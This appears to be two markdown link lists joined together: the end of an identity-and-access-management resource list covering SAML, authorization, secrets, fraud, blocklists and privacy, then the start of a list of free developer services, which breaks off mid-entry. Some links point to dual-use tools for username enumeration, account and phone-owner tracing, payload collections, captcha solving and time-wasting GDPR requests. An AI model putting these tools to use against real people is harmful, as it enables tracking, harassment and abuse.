- [SAML vs. OAuth](https://www.cloudflare.com/learning/access-management/what-is-oauth/) - “OAuth is a protocol for authorization: it ensures Bob goes to the right parking lot. In contrast, SAML is a protocol for authentication, or allowing Bob to get past the guardhouse.”
- [The Difference Between SAML 2.0 and OAuth 2.0](https://www.ubisecure.com/uncategorized/difference-between-saml-and-oauth/) - “Even though SAML was actually designed to be widely applicable, its contemporary usage is typically shifted towards enterprise SSO scenarios. On the other hand, OAuth was designed for use with applications on the Internet, especially for delegated authorisation.”
- [What's the Difference Between OAuth, OpenID Connect, and SAML?](https://www.okta.com/identity-101/whats-the-difference-between-oauth-openid-connect-and-saml/) - Identity is hard. Another take on the different protocol is always welcome to help makes sense of it all.
- [How SAML 2.0 Authentication Works](https://gravitational.com/blog/how-saml-authentication-works/) - Overview of the how and why of SSO and SAML.
- [Web Single Sign-On, the SAML 2.0 perspective](https://blog.theodo.com/2019/06/web-single-sign-on-the-saml-2-0-perspective/) - Another naive explanation of SAML workflow in the context of corporate SSO implementation.
- [The Beer Drinker's Guide to SAML](https://duo.com/blog/the-beer-drinkers-guide-to-saml) - SAML is arcane at times. A another analogy might helps get more sense out of it.
- [The Difficulties of SAML Single Logout](https://wiki.shibboleth.net/confluence/display/CONCEPT/SLOIssues) - On the technical and UX issues of single logout implementations.
## Authorization
Now that we know you are you, are you allowed to perform what you want to do?
Policy specification is the science, enforcement is the art.
### Policy models
As a concept, access control policies can be designed to follow very different archetypes, from classic [Access Control Lists](https://en.wikipedia.org/wiki/Access-control_list) to [Role Based Access Control](https://en.wikipedia.org/wiki/Role-based_access_control). In this section we explore lots of different patterns and architectures.
- [In Search For a Perfect Access Control System](https://goteleport.com/blog/access-controls/) - An overview of the most popular types of authorization schemes, and their historical origins.
- [Role Based Access Control](https://csrc.nist.gov/projects/role-based-access-control) - A NIST project to explain RBAC concepts, costs and benefits, the economic impact of RBAC, design and implementation issues, the standard itself, and advanced research topics.
- [Semantic-based Automated Reasoning for AWS Access Policies using SMT](https://d1.awsstatic.com/Security/pdfs/Semantic_Based_Automated_Reasoning_for_AWS_Access_Policies_Using_SMT.pdf) - Zelkova is how AWS does it. This system perform symbolic analysis of IAM policies, and solve the reachability of resources according user's rights and access constraints. Also see the higher-level [introduction given at re:inforce 2019](https://youtu.be/x6wsTFnU3eY?t=2111).
- [Zanzibar: Google's Consistent, Global Authorization System](https://ai.google/research/pubs/pub48190) - Scales to trillions of access control lists and millions of authorization requests per second to support services used by billions of people. It has maintained 95th-percentile latency of less than 10 milliseconds and availability of greater than 99.999% over 3 years of production use. [Other bits not in the paper](https://twitter.com/LeaKissner/status/1136626971566149633).
- Description of an [authz system that is built around labeled security and RBAC concepts](https://news.ycombinator.com/item?id=20136831).
### Open-source policy frameworks
Collection of open-source projects if you're looking to roll your own policy implementation.
- [Keto](https://github.com/ory/keto) - Policy decision point. It uses a set of access control policies, similar to AWS policies, in order to determine whether a subject is authorized to perform a certain action on a resource.
- [Ladon](https://github.com/ory/ladon) - Access control library, inspired by AWS.
- [Athenz](https://github.com/yahoo/athenz) - Set of services and libraries supporting service authentication and role-based authorization (RBAC) for provisioning and configuration.
- [Casbin](https://github.com/casbin/casbin) - Open-source access control library for Golang projects.
- [Open Policy Agent](https://github.com/open-policy-agent) - Allows end to end testing of your policies across SQL, Kubernetes, Terraform, Kafka, Envoy, S3 (via Minio), EC2/ECS/Lambda (Linux).
- [Gubernator](https://github.com/mailgun/gubernator) - High performance rate-limiting micro-service and library.
- [Biscuit](https://www.clever-cloud.com/blog/engineering/2021/04/12/introduction-to-biscuit/) - Biscuit merge concepts from cookies, JWTs, macaroons and Open Policy Agent. “It provide a logic language based on Datalog to write authorization policies. It can store data, like JWT, or small conditions like Macaroons, but it is also able to represent more complex rules like role-based access control, delegation, hierarchies.”
### AWS policy tools
Tools and resources exclusively targetting the [AWS IAM policies](http://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html) ecosystem.
- [Become an AWS IAM Policy Ninja](https://www.youtube.com/watch?v=y7-fAT3z8Lo) - “In my nearly 5 years at Amazon, I carve out a little time each day, each week to look through the forums, customer tickets to try to find out where people are having trouble.”
- [Cloudsplaining](https://github.com/salesforce/cloudsplaining) - Security assessment tool that identifies violations of least privilege and generates a risk-prioritized report.
- [Policy Sentry](https://github.com/salesforce/policy_sentry) - Writing security-conscious IAM Policies by hand can be very tedious and inefficient. Policy Sentry helps users to create least-privilege policies in a matter of seconds.
- [Aardvark and Repokid](https://netflixtechblog.com/introducing-aardvark-and-repokid-53b081bf3a7e) - Netflix tools to enforce least privilege on AWS. The idea is that the default policy on new things is deny all, and then it monitors cloudtrail for privilege failures and reconfigures IAM to allow the smallest possible privilege to get rid of that deny message.
- [Principal Mapper](https://github.com/nccgroup/PMapper) - Quickly evaluates permissions.
- [PolicyUniverse](https://github.com/Netflix-Skunkworks/policyuniverse) - Parse and process AWS policies, statements, ARNs, and wildcards.
- [IAM Floyd](https://github.com/udondan/iam-floyd) - AWS IAM policy statement generator with fluent interface. Helps with creating type safe IAM policies and writing more restrictive/secure statements by offering conditions and ARN generation via IntelliSense. Available for Node.js, Python, .Net and Java.
- [ConsoleMe](https://github.com/Netflix/consoleme) - A self-service tool for AWS that provides end-users and administrators credentials and console access to the onboarded accounts based on their authorization level of managing permissions across multiple accounts, while encouraging least-privilege permissions.
### Macaroons
A clever curiosity to distribute and delegate authorization.
- [Google's Macaroons in Five Minutes or Less](https://blog.bren2010.io/2014/12/04/macaroons.html) - If I'm given a Macaroon that authorizes me to perform some action(s) under certain restrictions, I can non-interactively build a second Macaroon with stricter restrictions that I can then give to you.
- [Macaroons: Cookies with Contextual Caveats for Decentralized Authorization in the Cloud](https://ai.google/research/pubs/pub41892) - Google's original paper.
- [Google paper's author compares Macaroons and JWTs](https://news.ycombinator.com/item?id=14294463) - As a consumer/verifier of macaroons, they allow you (through third-party caveats) to defer some authorization decisions to someone else. JWTs don't.
## Secret Management
Architectures, software and hardware allowing the storage and usage of secrets to allow for authentication and authorization, while maintaining the chain of trust.
- [Secret at Scale at Netflix](https://www.youtube.com/watch?v=K0EOPddWpsE) - Solution based on blind signatures. See the [slides](https://rwc.iacr.org/2018/Slides/Mehta.pdf).
- [High Availability in Google's Internal KMS](https://www.youtube.com/watch?v=5T_c-lqgjso) - Not GCP's KMS, but the one at the core of their infrastructure. See the [slides](https://rwc.iacr.org/2018/Slides/Kanagala.pdf).
- [`vault`](https://www.vaultproject.io) - Secure, store and tightly control access to tokens, passwords, certificates, encryption keys.
- [`sops`](https://github.com/mozilla/sops) - Encrypts the values of YAML and JSON files, not the keys.
- [`gitleaks`](https://github.com/zricethezav/gitleaks) - Audit git repos for secrets.
- [`truffleHog`](https://github.com/dxa4481/truffleHog) - Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
- [Keywhiz](https://square.github.io/keywhiz/) - A system for managing and distributing secrets, which can fit well with a service oriented architecture (SOA).
- [`roca`](https://github.com/crocs-muni/roca) - Python module to check for weak RSA moduli in various key formats.
### Hardware Security Module (HSM)
HSMs are physical devices guaranteeing security of secret management at the hardware level.
- [HSM: What they are and why it's likely that you've (indirectly) used one today](https://rwc.iacr.org/2015/Slides/RWC-2015-Hampton.pdf) - Really basic overview of HSM usages.
- [Tidbits on AWS Cloud HSM hardware](https://news.ycombinator.com/item?id=16759383) - AWS CloudHSM Classic is backed by SafeNet's Luna HSM, current CloudHSM rely on Cavium's Nitrox, which allows for partitionable "virtual HSMs".
- [CrypTech](https://cryptech.is) - An open hardware HSM.
- [Keystone](https://keystone-enclave.org) - Open-source project for building trusted execution environments (TEE) with secure hardware enclaves, based on the RISC-V architecture.
- [Project Oak](https://github.com/project-oak/oak) - A specification and a reference implementation for the secure transfer, storage and processing of data.
- [Everybody be cool, this is a robbery\!](https://www.sstic.org/2019/presentation/hsm/) - A case study of vulnerability and exploitability of a HSM (in French, sorry).
## Trust & Safety
Once you've got a significant user base, it is called a community. You'll then be responsible to protect it: the customer, people, the company, the business, and facilitate all interactions and transactions happening therein.
A critical intermediation complex driven by a policy and constraint by local laws, the Trust & Safety department is likely embodied by a cross-functional team of 24/7 operators and systems of highly advanced moderation and administration tools. You can see it as an extension of customer support services, specialized in edge-cases like manual identity checks, moderation of harmful content, stopping harassment, handling of warrants and copyright claims, data sequestration and other credit card disputes.
- [Trust and safety 101](https://www.csoonline.com/article/3206127/trust-and-safety-101.html) - A great introduction on the domain and its responsabilities.
- [What the Heck is Trust and Safety?](https://www.linkedin.com/pulse/what-heck-trust-safety-kenny-shi) - A couple of real use-case to demonstrate the role of a TnS team.
<!--lint disable double-link-->
- [Awesome List of Billing and Payments: Fraud links](https://github.com/kdeldycke/awesome-billing#fraud) - Section dedicated to fraud management for billing and payment, from our sister repository.
<!--lint enable double-link-->
### User Identity
Most businesses do not collect customer's identity to create user profiles to sell to third party, no. But you still have to: local laws require to keep track of contract relationships under the large [Know You Customer (KYC)](https://en.wikipedia.org/wiki/Know_your_customer) banner.
- [The Laws of Identity](https://www.identityblog.com/stories/2005/05/13/TheLawsOfIdentity.pdf) - Is this paper aims at identity metasystem, its laws still provides great insights at smaller scale, especially the first law: to always allow user control and ask for consent to earn trust.
- [How Uber Got Lost](https://www.nytimes.com/2019/08/23/business/how-uber-got-lost.html) - “To limit "friction" Uber allowed riders to sign up without requiring them to provide identity beyond an email — easily faked — or a phone number. (…) Vehicles were stolen and burned; drivers were assaulted, robbed and occasionally murdered. The company stuck with the low-friction sign-up system, even as violence increased.”
- [A Comparison of Personal Name Matching: Techniques and Practical Issues](http://users.cecs.anu.edu.au/~Peter.Christen/publications/tr-cs-06-02.pdf) - Customer name matching has lots of application, from account deduplication to fraud monitoring.
- [Statistically Likely Usernames](https://github.com/insidetrust/statistically-likely-usernames) - Wordlists for creating statistically likely usernames for use in username-enumeration, simulated password-attacks and other security testing tasks.
- [Sherlock](https://github.com/sherlock-project/sherlock) - Hunt down social media accounts by username across social networks.
### Fraud
As an online service provider, you're exposed to fraud, crime and abuses. You'll be surprised by how much people gets clever when it comes to money. Expect any bug or discrepancies in your workflow to be exploited for financial gain.
- [After Car2Go eased its background checks, 75 of its vehicles were stolen in one day.](https://archive.is/MuNrZ) - Why background check are sometimes necessary.
- [Investigation into the Unusual Signups](https://openstreetmap.lu/MWGGlobalLogicReport20181226.pdf) - A really detailed analysis of suspicious contributor signups on OpenStreetMap. This beautiful and high-level report demonstrating an orchestrated and directed campaign might serve as a template for fraud reports.
- [MIDAS: Detecting Microcluster Anomalies in Edge Streams](https://github.com/bhatiasiddharth/MIDAS) - A proposed method to “detects microcluster anomalies, or suddenly arriving groups of suspiciously similar edges, in edge streams, using constant time and memory.”
- [Gephi](https://github.com/gephi/gephi) - Open-source platform for visualizing and manipulating large graphs.
### Moderation
Any online communities, not only those related to gaming and social networks, requires their operator to invest a lot of resource and energy to moderate it.
- [Still Logged In: What AR and VR Can Learn from MMOs](https://youtu.be/kgw8RLHv1j4?t=534) - “If you host an online community, where people can harm another person: you are on the hook. And if you can't afford to be on the hook, don't host an online community”.
- [Keep out the bad apples: How to moderate a marketplace](https://twosided.substack.com/p/keep-out-the-bad-apples-how-to-moderate) - “With great power comes great responsibility. Some of my tips and tricks to make your marketplace a safer place.”
- [The despair and darkness of people will get to you](https://restofworld.org/2020/facebook-international-content-moderators/) - Moderation of huge social networks is performed by an army of outsourced subcontractors. These people are exposed to the worst and generally ends up with PTSD.
- [The Cleaners](https://thoughtmaybe.com/the-cleaners/) - A documentary on these teams of underpaid people removing posts and deleting accounts.
### Threat Intelligence
How to detect, unmask and classify offensive online activities. Most of the time these are monitored by security, networking and/or infrastructure engineering teams. Still, these are good resources for T\&S and IAM people, who might be called upon for additional expertise for analysis and handling of threats.
- [Awesome Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) - “A concise definition of Threat Intelligence: evidence-based knowledge, including context, mechanisms, indicators, implications and actionable advice, about an existing or emerging menace or hazard to assets that can be used to inform decisions regarding the subject's response to that menace or hazard.”
- [SpiderFoot](https://github.com/smicallef/spiderfoot) - An open source intelligence (OSINT) automation tool. It integrates with just about every data source available and uses a range of methods for data analysis, making that data easy to navigate.
- [Standards related to Threat Intelligence](https://www.threat-intelligence.eu/standards/) - Open standards, tools and methodologies to support threat intelligence analysis.
- [MISP taxonomies and classification](https://www.misp-project.org/taxonomies.html) - Tags to organize information on “threat intelligence including cyber security indicators, financial fraud or counter-terrorism information.”
- [Browser Fingerprinting: A survey](https://arxiv.org/pdf/1905.01051.pdf) - Fingerprints can be used as a source of signals to identify bots and fraudsters.
- [The challenges of file formats](https://speakerdeck.com/ange/the-challenges-of-file-formats) - At one point you will let users upload files in your system. Here is a [corpus of suspicious media files](https://github.com/corkami/pocs) that can be leveraged by scammers =to bypass security or fool users.
- [SecLists](https://github.com/danielmiessler/SecLists) - Collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more.
- [PhishingKitTracker](https://github.com/neonprimetime/PhishingKitTracker) - CSV database of email addresses used by threat actor in phishing kits.
- [PhoneInfoga](https://github.com/sundowndev/PhoneInfoga) - Tools to scan phone numbers using only free resources. The goal is to first gather standard information such as country, area, carrier and line type on any international phone numbers with a very good accuracy. Then search for footprints on search engines to try to find the VoIP provider or identify the owner.
- [Confusable Homoglyphs](https://github.com/vhf/confusable_homoglyphs) - Homoglyphs is a common phishing trick.
### Captcha
Another line of defense against spammers.
- [Awesome Captcha](https://github.com/ZYSzys/awesome-captcha) - Reference all open-source captcha libraries, integration, alternatives and cracking tools.
- [reCaptcha](https://www.google.com/recaptcha) - reCaptcha is still an effective, economical and quick solution when your company can't afford to have a dedicated team to fight bots and spammers at internet scale.
- [You (probably) don't need ReCAPTCHA](https://kevv.net/you-probably-dont-need-recaptcha/) - Starts with a rant on how the service is a privacy nightmare and is tedious UI-wise, then list alternatives.
- [Anti-captcha](https://anti-captcha.com) - Captchas solving service.
## Blocklists
The first mechanical line of defense against abuses consist in plain and simple deny-listing. This is the low-hanging fruit of fraud fighting, but you'll be surprised how they're still effective.
- [Bloom Filter](https://en.wikipedia.org/wiki/Bloom_filter) - Perfect for this use-case, as bloom filters are designed to quickly check if an element is not in a (large) set. Variations of bloom filters exist for specific data types.
- [How Radix trees made blocking IPs 5000 times faster](https://blog.sqreen.com/demystifying-radix-trees/) - Radix trees might come handy to speed-up IP blocklists.
### Hostnames and Subdomains
Useful to identified clients, catch and block swarms of bots, and limit effects of dDOS.
- [`hosts`](https://github.com/StevenBlack/hosts) - Consolidates reputable hosts files, and merges them into a unified hosts file with duplicates removed.
- [`nextdns/metadata`](https://github.com/nextdns/metadata) - Extensive collection of list for security, privacy and parental control.
- [The Public Suffix List](https://publicsuffix.org) - Mozilla's registry of public suffixes, under which Internet users can (or historically could) directly register names.
- [Country IP Blocks](https://github.com/herrbischoff/country-ip-blocks) - CIDR country-level IP data, straight from the Regional Internet Registries, updated hourly.
- [Certificate Transparency Subdomains](https://github.com/internetwache/CT_subdomains) - An hourly updated list of subdomains gathered from certificate transparency logs.
- Subdomain denylists: [\#1](https://gist.github.com/artgon/5366868), [\#2](https://github.com/sandeepshetty/subdomain-blacklist/blob/master/subdomain-blacklist.txt), [\#3](https://github.com/nccgroup/typofinder/blob/master/TypoMagic/datasources/subdomains.txt), [\#4](https://www.quora.com/How-do-sites-prevent-vanity-URLs-from-colliding-with-future-features).
- [`common-domain-prefix-suffix-list.tsv`](https://gist.github.com/erikig/826f49442929e9ecfab6d7c481870700) - Top-5000 most common domain prefix/suffix list.
- [`hosts-blocklists`](https://github.com/notracking/hosts-blocklists) - No more ads, tracking and other virtual garbage.
- [`xkeyscorerules100.txt`](https://gist.github.com/sehrgut/324626fa370f044dbca7) - NSA's [XKeyscore](https://en.wikipedia.org/wiki/XKeyscore) matching rules for TOR and other anonymity preserving tools.
- [`pyisp`](https://github.com/ActivisionGameScience/pyisp) - IP to ISP lookup library (includes ASN).
- [AMF site blocklist](https://www.amf-france.org/Epargne-Info-Service/Proteger-son-epargne/Listes-noires) - Official French denylist of money-related fraud sites.
### Emails
- [Burner email providers](https://github.com/wesbos/burner-email-providers) - A list of temporary email providers. And its [derivative Python module](https://github.com/martenson/disposable-email-domains).
- [MailChecker](https://github.com/FGRibreau/mailchecker) - Cross-language temporary (disposable/throwaway) email detection library.
- [Temporary Email Address Domains](https://gist.github.com/adamloving/4401361) - A list of domains for disposable and temporary email addresses. Useful for filtering your email list to increase open rates (sending email to these domains likely will not be opened).
- [`gman`](https://github.com/benbalter/gman) - “A ruby gem to check if the owner of a given email address or website is working for THE MAN (a.k.a verifies government domains).” Good resource to hunt for potential government customers in your user base.
- [`Swot`](https://github.com/leereilly/swot) - In the same spirit as above, but this time to flag academic users.
### Reserved IDs
- [General List of Reserved Words](https://gist.github.com/stuartpb/5710271) - This is a general list of words you may want to consider reserving, in a system where users can pick any name.
- [Hostnames and usernames to reserve](https://ldpreload.com/blog/names-to-reserve) - List of all the names that should be restricted from registration in automated systems.
### Profanity
- [List of Dirty, Naughty, Obscene, and Otherwise Bad Words](https://github.com/LDNOOBW/List-of-Dirty-Naughty-Obscene-and-Otherwise-Bad-Words) - Profanity blocklist from Shutterstock.
- [`profanity-check`](https://github.com/vzhou842/profanity-check) - Uses a linear SVM model trained on 200k human-labeled samples of clean and profane text strings.
## Privacy
As the guardian of user's data, the IAM stack is deeply bounded by the respect of privacy.
- [Privacy Enhancing Technologies Decision Tree](https://www.private-ai.ca/PETs_Decision_Tree.png) - A flowchart to select the right tool depending on data type and context.
- [Paper we love: Privacy](https://github.com/papers-we-love/papers-we-love/tree/master/privacy) - A collection of scientific studies of schemes providing privacy by design.
- [IRMA Authentication](https://news.ycombinator.com/item?id=20144240) - Open-source app and protocol that offers privacy-friendly attribute based authentication and signing using [Camenisch and Lysyanskaya's Idemix](https://privacybydesign.foundation/publications/).
- [Have I been Pwned?](https://haveibeenpwned.com) - Data breach index.
- [Automated security testing for Software Developers](https://fahrplan.events.ccc.de/camp/2019/Fahrplan/system/event_attachments/attachments/000/003/798/original/security_cccamp.pdf) - Most privacy breaches were allowed by known vulnerabilities in third-party dependencies. Here is how to detect them by the way of CI/CD.
- [Email marketing regulations around the world](https://github.com/threeheartsdigital/email-marketing-regulations) - As the world becomes increasingly connected, the email marketing regulation landscape becomes more and more complex.
- [World's Biggest Data Breaches & Hacks](https://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/) - Don't be the next company leaking your customer's data.
### Anonymization
As a central repository of user data, the IAM stack stakeholders have to prevent any leakage of business and customer data. To allow for internal analytics, anonymization is required.
- [The False Allure of Hashing for Anonymization](https://gravitational.com/blog/hashing-for-anonymization/) - Hashing is not sufficient for anonymization no. But still it is good enough for pseudonymization (which is allowed by the GDPR).
- [Four cents to deanonymize: Companies reverse hashed email addresses](https://freedom-to-tinker.com/2018/04/09/four-cents-to-deanonymize-companies-reverse-hashed-email-addresses/) - “Hashed email addresses can be easily reversed and linked to an individual”.
- [Why differential privacy is awesome](https://desfontain.es/privacy/differential-privacy-awesomeness.html) - Explain the intuition behind [differential privacy](https://en.wikipedia.org/wiki/Differential_privacy), a theoretical framework which allow sharing of aggregated data without compromising confidentiality. See follow-up articles with [more details](https://desfontain.es/privacy/differential-privacy-in-more-detail.html) and [practical aspects](https://desfontain.es/privacy/differential-privacy-in-practice.html).
- [k-anonymity: an introduction](https://www.privitar.com/listing/k-anonymity-an-introduction) - An alternative anonymity privacy model.
- [Presidio](https://github.com/microsoft/presidio) - Context aware, pluggable and customizable data protection and PII data anonymization service for text and images.
- [Diffix: High-Utility Database Anonymization](https://aircloak.com/wp-content/uploads/apf17-reprint.pdf) - Diffix try to provide anonymization, avoid pseudonymization and preserve data quality. [Written in Elixir at Aircloak](https://elixirforum.com/t/aircloak-anonymized-analitycs/10930), it acts as an SQL proxy between the analyst and an unmodified live database.
### GDPR
The well-known European privacy framework
- [GDPR Tracker](https://gdpr.eu) - Europe's reference site.
- [GDPR Developer Guide](https://github.com/LINCnil/GDPR-Developer-Guide) - Best practices for developers.
- [GDPR – A Practical guide for Developers](https://techblog.bozho.net/gdpr-practical-guide-developers/) - A one-page summary of the above.
- [GDPR Tracker](https://gdprtracker.io) - Track the GDPR compliance of cloud services and subprocessors.
- [GDPR documents](https://github.com/good-lly/gdpr-documents) - Templates for personal use to have companies comply with "Data Access" requests.
- [Dark Patterns after the GDPR](https://arxiv.org/pdf/2001.02479.pdf) - This paper demonstrates that, because of the lack of GDPR law enforcements, dark patterns and implied consent are ubiquitous.
- [GDPR Enforcement Tracker](http://enforcementtracker.com) - List of GDPR fines and penalties.
- [Ship Your Enemies GDPR](https://shipyourenemiesgdpr.com) - Weaponizing GDPR to help you send your enemies a Data Requests designed to waste as much of their time as possible.
## UX/UI
As stakeholder of the IAM stack, you're going to implement in the backend the majority of the primitives required to build-up the sign-up tunnel and user onboarding. This is the first impression customers will get from your product, and can't be overlooked: you'll have to carefully design it with front-end experts. Here is a couple of guides to help you polish that experience.
- [The 2020 State of SaaS Product Onboarding](https://userpilot.com/saas-product-onboarding/) - Covers all the important facets of user onboarding.
- [User Onboarding Teardowns](https://www.useronboard.com/user-onboarding-teardowns/) - A huge list of deconstructed first-time user signups.
- [Discover UI Design Decisions Of Leading Companies](https://goodui.org/leaks/) - From Leaked Screenshots & A/B Tests.
- [Conversion Optimization](https://www.nickkolenda.com/conversion-optimization-psychology/#cro-tactic11) - A collection of tactics to increase the chance of users finishing the account creation funnel.
- [Trello User Onboarding](https://growth.design/case-studies/trello-user-onboarding/) - A detailed case study, nicely presented, on how to improve user onboarding.
- [11 Tips for Better Signup / Login UX](https://learnui.design/blog/tips-signup-login-ux.html) - Some basic tips on the login form.
- [Don't get clever with login forms](http://bradfrost.com/blog/post/dont-get-clever-with-login-forms/) - Create login forms that are simple, linkable, predictable, and play nicely with password managers.
- [Why are the username and password on two different pages?](https://www.twilio.com/blog/why-username-and-password-on-two-different-pages) - To support both SSO and password-based login. Now if breaking the login funnel in 2 steps is too infuriating to users, solve this as Dropbox does: [an AJAX request when you enter your username](https://news.ycombinator.com/item?id=19174355).
- [HTML attributes to improve your users' two factor authentication experience](https://www.twilio.com/blog/html-attributes-two-factor-authentication-autocomplete) - “In this post we will look at the humble `<input>` element and the HTML attributes that will help speed up our users' two factor authentication experience”.
- [Remove password masking](http://passwordmasking.com) - Summarizes the results from an academic study investigating the impact removing password masking has on consumer trust.
- [For anybody who thinks "I could build that in a weekend," this is how Slack decides to send a notification](https://twitter.com/ProductHunt/status/979912670970249221) - Notifications are hard. Really hard.
## Commercial Solutions
- [Rippling IDM](https://www.rippling.com/idm/) - Identity management, SSO.
## Competitive Analysis
A bunch of resources to keep track of the current status and progress of all companies operating in the domain.
- [AWS Security, Identity & Compliance announcements](https://aws.amazon.com/about-aws/whats-new/security_identity_and_compliance/) - The source of all new features added to the IAM perimeter.
- [GCP IAM release notes](https://cloud.google.com/iam/docs/release-notes) - Also of note: [Identity](https://cloud.google.com/identity/docs/release-notes), [Identity Platform](https://cloud.google.com/identity-platform/docs/release-notes), [Resource Manager](https://cloud.google.com/resource-manager/docs/release-notes), [Key Management Service/HSM](https://cloud.google.com/kms/docs/release-notes), [Access Context Manager](https://cloud.google.com/access-context-manager/docs/release-notes), [Identity-Aware Proxy](https://cloud.google.com/iap/docs/release-notes), [Data Loss Prevention](https://cloud.google.com/dlp/docs/release-notes) and [Security Scanner](https://cloud.google.com/security-scanner/docs/release-notes).
- [Unofficial Weekly Google Cloud Platform newsletter](https://www.gcpweekly.com) - Relevant keywords: [`IAM`](https://www.gcpweekly.com/gcp-resources/tag/iam/) and [`Security`](https://www.gcpweekly.com/gcp-resources/tag/security/).
- [DigitalOcean Accounts changelog](http://docs.digitalocean.com/release-notes/accounts/) - All the latest accounts updates on DO.
- [163 AWS services explained in one line each](https://adayinthelifeof.nl/2020/05/20/aws.html#discovering-aws) - Help makes sense of their huge service catalog. In the same spirit: [AWS in simple terms](https://netrixllc.com/blog/aws-services-in-simple-terms/) & [AWS In Plain English](https://expeditedsecurity.com/aws-in-plain-english/).
- [Google Cloud Developer's Cheat Sheet](https://github.com/gregsramblings/google-cloud-4-words#the-google-cloud-developers-cheat-sheet) - Describe all GCP products in 4 words or less.
## History
- [cryptoanarchy.wiki](https://cryptoanarchy.wiki) - Cypherpunks overlaps with security. This wiki compiles information about the movement, its history and the people/events of note.
## Contributing
Your contributions are always welcome\! Please take a look at the [contribution guidelines](.github/contributing.md) first.
## Footnotes
The [header image](https://github.com/kdeldycke/awesome-iam/blob/main/assets/awesome-iam-header.jpg) is based on a modified [photo](https://unsplash.com/photos/2LowviVHZ-E) by [Ben Sweet](https://unsplash.com/@benjaminsweet).
<!--lint disable no-undefined-references-->
<a name="intro-quote-def">\[1\]</a>: [*Poison Study*](https://amzn.com/0778324338/?tag=kevideld-20) (Mira, 2007). [\[↑\]](#intro-quote-ref)
|
# free-for.dev
Developers and Open Source authors now have a massive amount of services offering free tiers, but it can be hard to find them all to make informed decisions.
This is a list of software (SaaS, PaaS, IaaS, etc.) and other offerings that have free tiers for developers.
The scope of this particular list is limited to things that infrastructure developers (System Administrator, DevOps Practitioners, etc.) are likely to find useful. We love all the free services out there, but it would be good to keep it on topic. It's a bit of a grey line at times so this is a bit opinionated; do not be offended if I do not accept your contribution.
This list is the result of Pull Requests, reviews, ideas and work done by 1100+ people. You too can help by sending [Pull Requests](https://github.com/ripienaar/free-for-dev) to add more services or by remove ones whose offerings have changed or been retired.
[](https://www.trackawesomelist.com/ripienaar/free-for-dev)
**NOTE**: This list is only for as-a-Service offerings, not for self-hosted software. For a service to be eligible it has to offer a free tier and not just a free trial. If the free tier is time-bucketed it has to be for at least a year. We also consider the free tier from a security perspective, so SSO is fine but I will not accept services that restrict TLS to paid-only tiers.
# Table of Contents
* [Major Cloud Providers' Always-Free Limits](#major-cloud-providers)
* [Cloud management solutions](#cloud-management-solutions)
* [Analytics, Events and Statistics](#analytics-events-and-statistics)
* [APIs, Data and ML](#apis-data-and-ml)
* [Artifact Repos](#artifact-repos)
* [BaaS](#baas)
* [Low-code Platform](#low-code-platform)
* [CDN and Protection](#cdn-and-protection)
* [CI and CD](#ci-and-cd)
* [CMS](#cms)
* [Code Generation](#code-generation)
* [Code Quality](#code-quality)
* [Code Search and Browsing](#code-search-and-browsing)
* [Crash and Exception Handling](#crash-and-exception-handling)
* [Data Visualization on Maps](#data-visualization-on-maps)
* [Managed Data Services](#managed-data-services)
* [Design and UI](#design-and-ui)
* [Design Inspiration](#design-inspiration)
* [Dev Blogging Sites](#dev-blogging-sites)
* [DNS](#dns)
* [Docker Related](#docker-related)
* [Domain](#domain)
* [Email](#email)
* [Font](#font)
* [Forms](#forms)
* [IaaS](#iaas)
* [IDE and Code Editing](#ide-and-code-editing)
* [International Mobile Number Verification API and SDK](#international-mobile-number-verification-api-and-sdk)
* [Issue Tracking and Project Management](#issue-tracking-and-project-management)
* [Log Management](#log-management)
* [Management Systems](#management-system)
* [Messaging and Streaming](#messaging-and-streaming)
* [Miscellaneous](#miscellaneous)
* [Monitoring](#monitoring)
* [PaaS](#paas)
* [Package Build System](#package-build-system)
* [Payment and Billing Integration](#payment-and-billing-integration)
* [Privacy Management](#privacy-management)
* [Screenshot APIs](#screenshot-apis)
* [Flutter Related and Building IOS Apps without Mac](#flutter-related-and-building-ios-apps-without-mac)
* [Search](#search)
* [Security and PKI](#security-and-pki)
* [Authentication, Authorization and User Management](#authentication-authorization-and-user-management)
* [Source Code Repos](#source-code-repos)
* [Storage and Media Processing](#storage-and-media-processing)
* [Tunneling, WebRTC, Web Socket Servers and Other Routers](#tunneling-webrtc-web-socket-servers-and-other-routers)
* [Testing](#testing)
* [Tools for Teams and Collaboration](#tools-for-teams-and-collaboration)
* [Translation Management](#translation-management)
* [Vagrant Related](#vagrant-related)
* [Visitor Session Recording](#visitor-session-recording)
* [Web Hosting](#web-hosting)
* [Commenting Platforms](#commenting-platforms)
* [Browser based hardware emulation](#browser-based-hardware-emulation-written-in-javascript)
* [Remote Desktop Tools](#remote-desktop-tools)
* [Game Development](#game-development)
* [Other Free Resources](#other-free-resources)
## Major Cloud Providers
* [Google Cloud Platform](https://cloud.google.com)
* App Engine - 28 frontend instance hours per day, 9 backend instance hours per day
* Cloud Firestore - 1GB storage, 50,000 reads, 20,000 writes, 20,000 deletes per day
* Compute Engine - 1 non-preemptible e2-micro, 30GB HDD, 5GB snapshot storage (restricted to certain regions), 1 GB network egress from North America to all region destinations (excluding China and Australia) per month
* Cloud Storage - 5GB, 1GB network egress
* Cloud Shell - Web-based Linux shell/basic IDE with 5GB of persistent storage. 60 hours limit per week
* Cloud Pub/Sub - 10GB of messages per month
* Cloud Functions - 2 million invocations per month (includes both background and HTTP invocations)
* Cloud Run - 2 million requests per month, 360,000 GB-seconds memory, 180,000 vCPU-seconds of compute time, 1 GB network egress from North America per month
* Google Kubernetes Engine - No cluster management fee for one zonal cluster. Each user node is charged at standard Compute Engine pricing
* BigQuery - 1 TB of querying per month, 10 GB of storage each month
* Cloud Build - 120 build-minutes per day
* Cloud Source Repositories - Up to 5 Users, 50 GB Storage, 50 GB Egress
* [Google Colab](https://colab.research.google.com/) - Free Jupyter Notebooks development environment.
* Full, detailed list - https://cloud.google.com/free
* [Amazon Web Services](https://aws.amazon.com)
* [CloudFront](https://aws.amazon.com/cloudfront/) - 1TB egress per month and 2M Function invocations per month
* [Cloudwatch](https://aws.amazon.com/cloudwatch/) - 10 custom metrics and 10 alarms
* [CodeBuild](https://aws.amazon.com/codebuild/) - 100min of build time per month
